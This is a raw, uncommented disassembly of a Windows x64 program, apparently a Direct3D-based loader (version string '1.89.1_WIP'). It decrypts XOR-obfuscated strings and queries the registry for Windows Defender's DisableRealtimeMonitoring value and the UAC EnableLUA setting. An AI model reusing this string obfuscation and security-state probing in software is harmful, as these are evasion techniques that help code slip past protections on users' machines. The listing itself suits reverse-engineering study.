mov qword [rsp + 0xf8], r14
mov rcx, qword [rsp + 0xf8]
mov qword [rsp + 0x2c8], rcx
mov qword [rsp + 0xf8], r12
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0xf8], r14
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x128], rax
movdqa xmm0, xmmword [rsp + 0x2c0]
xorps xmm0, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x2c0], xmm0
lea rdx, [rsp + 0x2c0]
lea rcx, [0x1404397e0]
call fcn.14003f080
nop
mov rdx, rbx
mov rcx, rax
call fcn.14004f050
movups xmm0, xmmword [str.v_fkoPT_SJMc]
movups xmmword [rsp + 0x120], xmm0
movsd xmm0, qword [0x1400f8790]
movsd qword [rsp + 0x130], xmm0
mov eax, dword [0x1400f8798]
mov dword [rsp + 0x138], eax
movzx eax, word [0x1400f879c]
mov word [rsp + 0x13c], ax
movzx eax, byte [0x1400f879e]
mov byte [rsp + 0x13e], al
mov r8d, esi
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400744d3
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x1400fae20]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
lea rcx, [rsp + 0x124]
mov edx, dword [rsp + 0xc0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400743d0
cmp r8d, 0x1f
jge 0x140074520
movsxd rax, r8d
lea r9, [rsp + 0x120]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x1400744f0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0xc90]
call fcn.14004d6a0
nop
mov dword [rsp + 0x28], esi
mov byte [rsp + 0x20], 0
mov r9b, reloc.WLDAP32.dll_Ordinal_32
mov r8d, 2
lea rdx, [rsp + 0x2c0]
lea rcx, [0x1404397e0]
call fcn.140067200
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x14007457d
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0xc90]
call fcn.140040670
nop
lea rcx, [rsp + 0x2c0]
call fcn.14004e710
lea rcx, [rsp + 0xc98]
call fcn.1400666f0
test rax, rax
jne 0x1400745d1
mov rax, qword [rsp + 0xc90]
movsxd rdx, dword [rax + 4]
lea rcx, [rsp + 0xc90]
add rcx, rdx
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae r15, qword [0x14041fae0]
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
lea rcx, [rsp + 0xc90]
call fcn.14004faa0
nop
lea rcx, [rsp + 0x678]
call fcn.140060df0
mov r15d, dword [rsp + 0xe0]
mov dword [rsp + 0x88], r15d
mov dword [rsp + 0x6c0], 0x50
mov dword [rsp + 0x6c4], 0x40
lea rax, [0x14005f980]
mov qword [rsp + 0x6c8], rax
mov qword [rsp + 0x6d0], rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x6d8], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x6e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x6f0], xmm1
movups xmm0, xmmword [0x1400f87d0]
movups xmmword [rsp + 0x638], xmm0
movups xmm1, xmmword [0x1400f87e0]
movups xmmword [rsp + 0x648], xmm1
movups xmm0, xmmword [0x1400f87f0]
movups xmmword [rsp + 0x658], xmm0
movsd xmm0, qword [0x1400f8800]
movsd qword [rsp + 0x668], xmm0
mov r8d, esi
mov r15d, dword [reloc.WS2_32.dll_accept]
mov r12d, 4
lea ebx, [r12 + 0x1b]
cmp r15d, 2
jl 0x1400747ef
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400fae20]
movd xmm8, ebx
movdqa xmm9, xmmword [str.55555555]
lea rcx, [rsp + 0x638]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x18
jl 0x140074700
cmp r8d, 0x1c
jge 0x140074834
movsxd rax, r8d
lea r9, [rsp + 0x638]
lea r9, [r9 + rax*2]
nop
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x35
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x1c
jl 0x140074800
lea rax, [rsp + 0x638]
mov qword [rsp + 0x700], rax
mov qword [rsp + 0x708], rsi
lea rcx, [rsp + 0x6c0]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov eax, dword [0x1404397c0]
cdq
sub eax, edx
sar eax, 1
lea r10d, [rax - 0xc8]
mov eax, dword [0x1404397d8]
cdq
sub eax, edx
sar eax, 1
lea r11d, [rax - 0x145]
movups xmm0, xmmword [0x1400f8810]
movups xmmword [rsp + 0x950], xmm0
movups xmm1, xmmword [0x1400f8820]
movups xmmword [rsp + 0x960], xmm1
movups xmm0, xmmword [0x1400f8830]
movups xmmword [rsp + 0x970], xmm0
movups xmm1, xmmword [0x1400f8840]
movups xmmword [rsp + 0x980], xmm1
movups xmm0, xmmword [0x1400f8850]
movups xmmword [rsp + 0x990], xmm0
movsd xmm0, qword [0x1400f8860]
movsd qword [rsp + 0x9a0], xmm0
mov eax, dword [0x1400f8868]
mov dword [rsp + 0x9a8], eax
mov r8d, esi
cmp r15d, 2
jl 0x140074a1f
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400fae20]
movd xmm8, ebx
movdqa xmm9, xmmword [str.55555555]
lea rcx, [rsp + 0x950]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x140074930
cmp r8d, 0x2e
jge 0x140074a64
movsxd rax, r8d
lea r9, [rsp + 0x950]
lea r9, [r9 + rax*2]
nop
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x35
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x2e
jl 0x140074a30
mov qword [rsp + 0x58], rsi
mov rax, qword [rsp + 0x6d8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x38], 0x190
mov dword [rsp + 0x30], 0x28a
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], r11d
mov r9d, 0x80000000
lea r8, [rsp + 0x950]
mov rdx, qword [rsp + 0x700]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rdi, rax
mov qword [rsp + 0xf8], rax
mov dword [rsp + 0x28], reloc.WS2_32.dll_setsockopt
mov dword [rsp + 0x20], reloc.WS2_32.dll_setsockopt
xor edx, edx
xor ecx, ecx
mov r9d, 0x190
mov r8d, 0x28a
call qword [sym.imp.GDI32.dll_CreateRoundRectRgn]
mov rdx, rax
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowRgn]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call sub.d3d9.dll_Direct3DCreate9
mov rcx, rax
mov qword [0x140439808], rax
mov r13d, 1
test rax, rax
je 0x1400798f1
mov qword [0x140439820], rsi
mov qword [0x14043982c], rsi
mov dword [0x140439834], esi
mov qword [0x14043983c], rsi
mov dword [0x140439844], esi
mov qword [0x140439854], rsi
mov dword [0x140439848], r13d
mov dword [0x140439838], r13d
mov dword [0x140439828], esi
mov dword [0x14043984c], r13d
mov dword [0x140439850], 0x50
mov dword [0x14043985c], r13d
mov rax, qword [rax]
lea rdx, [0x140439810]
mov qword [rsp + 0x30], rdx
lea rdx, [0x140439820]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0x40
mov r9, rdi
mov r8d, r13d
xor edx, edx
call qword [rax + 0x80]
test eax, eax
js 0x1400798f1
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea edx, [r13 + 9]
mov rcx, rdi
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rdi
call qword [sym.imp.USER32.dll_UpdateWindow]
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [0x1400f6db0]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14007525e
mov dword [rsp + 0x240], esi
lea rax, [rsp + 0x240]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x630]
xor r8d, r8d
lea rdx, [0x1400f6d88]
mov rcx, qword [rsp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x1c0]
cmp eax, 2
je 0x140075258
test eax, eax
jne 0x140075258
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x410]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x23c], r12d
lea rax, [rsp + 0x23c]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x238]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x62c]
xor r8d, r8d
lea rdx, str.DisableRealtimeMonitoring
mov rcx, qword [rsp + 0x410]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x410]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rsp + 0x238], 0
sete al
jmp 0x140075262
lea rdx, [rsp + 0x2a0]
lea rcx, [rsp + 0x80]
call fcn.14004f8a0
mov r9, rax
cmp byte [rax + 0x17], 0
je 0x140074e8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140074e5b
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [0x1400fae20]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
mov rcx, r9
mov edx, dword [rsp + 0xc0]
nop dword [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x18
jl 0x140074d60
jmp 0x140074e8d
mov r8, r9
nop
mov eax, 0x5397829d
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, sil
sub al, cl
add al, 0x35
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x18
jl 0x140074e60
mov rdx, r9
lea rcx, [rsp + 0x1a0]
call fcn.14004d890
lea rcx, [rsp + 0x1a0]
call fcn.140060f00
call fcn.140051f60
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
lea rdx, [rsp + 0x2a0]
lea rcx, [rsp + 0x80]
call fcn.14004f660
mov r9, rax
cmp byte [rax + 0x17], 0
je 0x14007505d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14007502b
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400fae20]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
mov rcx, r9
mov edx, dword [rsp + 0xc0]
nop dword [rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x18
jl 0x140074f30
jmp 0x14007505d
mov r8, r9
nop
mov eax, 0x5397829d
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, sil
sub al, cl
add al, 0x35
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x18
jl 0x140075030
mov rdx, r9
lea rcx, [rsp + 0x1a0]
call fcn.14004d890
lea rcx, [rsp + 0x1a0]
call fcn.140060f00
call fcn.140051f60
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [rsp + 0x2a0]
lea rcx, [rsp + 0x80]
call fcn.14004f680
mov r9, rax
cmp byte [rax + 0x17], 0
je 0x14007522d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400751fb
movdqa xmm5, xmmword [0x1400f5690]
movdqa xmm4, xmmword [0x1400faf80]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400fae20]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [str.5555555555555555R]
movdqa xmmword [rsp + 0xc0], xmm0
mov rcx, r9
mov edx, dword [rsp + 0xc0]
nop dword [rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400fae90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x18
jl 0x140075100
jmp 0x14007522d
mov r8, r9
nop
mov eax, 0x5397829d
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, sil
sub al, cl
add al, 0x35
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x18
jl 0x140075200
mov rdx, r9
lea rcx, [rsp + 0x1a0]
call fcn.14004d890
lea rcx, [rsp + 0x1a0]
call fcn.140060f00
call fcn.140051f60
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movzx eax, r13b
mov byte [0x1404397c5], al
lea rax, [rsp + 0x160]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x234], r12d
lea rax, [rsp + 0x234]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x230]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x628]
xor r8d, r8d
lea rdx, str.EnableLUA
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rsp + 0x230], 0
setne byte [0x1404397c4]
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov edx, 0x37b8
mov r9d, 8
mov r8d, 0x418
lea rcx, str.1.89.1_WIP
call fcn.140009320
xor ecx, ecx
call fcn.140008e40
call fcn.14000c7b0
mov rbx, rax
mov qword [rax + 0x18], rsi
lea rcx, [rsp + 0x9b0]
call fcn.14001ecb0
mov byte [rsp + 0x9d0], 0
mov dword [rsp + 0x9c8], 5
mov dword [rsp + 0x9cc], 5
mov dword [rsp + 0xa00], 0x3f99999a
lea r14, [0x1400f8870]
mov qword [rsp + 0x9e8], r14
mov qword [rsp + 0x28], r14
lea rax, [rsp + 0x9b0]
mov qword [rsp + 0x20], rax
movss xmm15, dword [0x1400fad78]
movaps xmm3, xmm15
mov r8d, 0x118e8
lea rdx, [0x14041fb20]
mov rcx, qword [rbx + 0x50]
call fcn.1400201e0
mov qword [0x140439788], rax
mov qword [rsp + 0x28], r14
lea rax, [rsp + 0x9b0]
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x1400f0430]
mov r8d, 0x6054
lea rdx, [0x140431410]
mov rcx, qword [rbx + 0x50]
call fcn.1400201e0
mov qword [0x140439790], rax
mov qword [rsp + 0x28], r14
lea rax, [rsp + 0x9b0]
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x1400f041c]
mov r8d, 0x5bc
lea rdx, [0x14041f440]
mov rcx, qword [rbx + 0x50]
call fcn.1400201e0
mov qword [0x140439778], rax
xor ecx, ecx
call fcn.140029d30
mov rcx, rdi
call fcn.14003ca10
mov rcx, qword [0x140439810]
call fcn.14003bca0
mov dword [rsp + 0xe0], esi
xor bl, bl
mov dword [rsp + 0x11c], ebx
xorps xmm13, xmm13
movss xmm7, dword [0x1400f0444]
movss xmm8, dword [0x1400f5d8c]
movss xmm6, dword [0x1400f026c]
movss xmm12, dword [0x1400f0264]
movss xmm11, dword [0x1400fad60]
movss xmm14, dword [0x1400f02ec]
mov edi, 4
mov r14d, dword [0x14043a3f0]
nop word [rax + rax]
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x638]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140075519
nop
lea rcx, [rsp + 0x638]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x638]
call qword [sym.imp.USER32.dll_DispatchMessageA]
movzx ebx, bl
cmp dword [rsp + 0x640], 0x12
cmove ebx, r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x638]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x1400754c0
mov dword [rsp + 0x11c], ebx
test bl, bl
jne 0x140079836
cmp qword [0x140439768], 0
jne 0x140075588
lea rax, [0x140439768]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x60], rsi
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0x60
mov r9d, 0x60
mov r8d, 0xdf6
lea rdx, [0x140437470]
mov rcx, qword [0x140439810]
call sub.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx
cmp qword [0x140439770], 0
jne 0x1400755f7
lea rax, [0x140439770]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x60], rsi
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0xa0
mov r9d, 0x28a
mov r8d, 0xc160
lea rdx, [0x1404132e0]
mov rcx, qword [0x140439810]
call sub.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx
cmp qword [0x140439798], 0
jne 0x140075666
lea rax, [0x140439798]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x60], rsi
mov dword [rsp + 0x58], esi
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], Ordinal_30
mov r9d, Ordinal_26
mov r8d, 0x180
lea rdx, [0x140122030]
mov rcx, qword [0x140439810]
call sub.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx
